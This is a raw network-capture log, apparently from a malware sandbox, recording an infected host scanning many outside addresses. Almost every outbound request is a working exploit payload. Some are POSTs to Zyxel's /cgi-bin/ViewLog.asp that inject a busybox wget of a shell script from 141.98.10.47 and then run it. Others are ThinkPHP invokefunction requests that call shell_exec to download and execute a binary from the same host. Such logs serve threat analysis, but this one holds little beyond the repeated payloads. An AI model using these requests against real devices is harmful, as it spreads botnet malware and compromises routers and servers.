Dec 26, 2023 21:25:25.259835958 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:31.402920008 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:43.433267117 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:07.749808073 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	35674	94.120.218.123	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.147588968 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	38624	94.120.21.187	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.157090902 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	52574	95.101.64.95	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.432934046 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:22.677881002 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:22 GMT Date: Tue, 26 Dec 2023 20:25:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 63 65 36 36 35 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 33 32 32 26 23 34 36 3b 31 30 39 63 36 37 61 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.7ce6655f.1703622322.109c67aa</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	43054	95.58.72.44	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.546248913 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:25.771866083 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:26.132375956 CET	246	IN	HTTP/1.1 200 OK Content-Type: text/html Date: Wed, 27 Dec 2023 02:25:24 GMT Expires: Thu, 26 Oct 1995 00:00:00 GMT Last-Modified: Wed, 27 Dec 2023 02:25:24 GMT Pragma: no-cache X-Frame-Options: sameorigin Server: WebServer/1.0 UPnP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	58316	94.120.47.98	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.715035915 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.23	35326	112.166.202.211	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.757436037 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.23	36162	95.101.81.127	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.864398956 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:23.092135906 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:22 GMT Date: Tue, 26 Dec 2023 20:25:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 63 39 31 30 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 33 32 32 26 23 34 36 3b 62 65 37 61 61 34 63 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.8c91002.1703622322.be7aa4c0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.23	39502	95.100.67.142	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.873716116 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:23.112328053 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:22 GMT Date: Tue, 26 Dec 2023 20:25:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 32 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 33 32 32 26 23 34 36 3b 32 35 38 61 64 64 31 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a27a7b5c.1703622322.258add15</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.23	48036	95.101.78.61	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:23.103451014 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:23.343008995 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:23 GMT Date: Tue, 26 Dec 2023 20:25:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 64 34 65 36 35 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 33 32 33 26 23 34 36 3b 66 66 32 31 30 36 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3d4e655f.1703622323.ff21061</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.23	46478	95.217.228.99	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:23.132745981 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:23.397294044 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:23 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.23	35916	94.30.37.103	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:23.594293118 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:24.331943989 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:24.570152998 CET	297	IN	HTTP/1.1 302 Found Location: /weblogin.htm X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache Content-Length: 0 Date: Tue, 26 Dec 2023 20:25:24 GMT Server: Server
Dec 26, 2023 21:25:24.747401953 CET	297	IN	HTTP/1.1 302 Found Location: /weblogin.htm X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache Content-Length: 0 Date: Tue, 26 Dec 2023 20:25:24 GMT Server: Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.23	51274	95.214.146.208	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.126689911 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
490	192.168.2.23	56210	31.136.74.14	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.150482893 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:30.379057884 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:36.522197008 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:48.552541971 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:13.892987967 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
491	192.168.2.23	39046	62.29.28.142	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.174931049 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
492	192.168.2.23	40852	94.122.86.85	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.182817936 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
493	192.168.2.23	38016	95.88.189.155	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:27.218480110 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:27.482079029 CET	506	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 6c 65 78 2d 72 75 6d 70 65 6c 6b 61 6d 6d 65 72 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 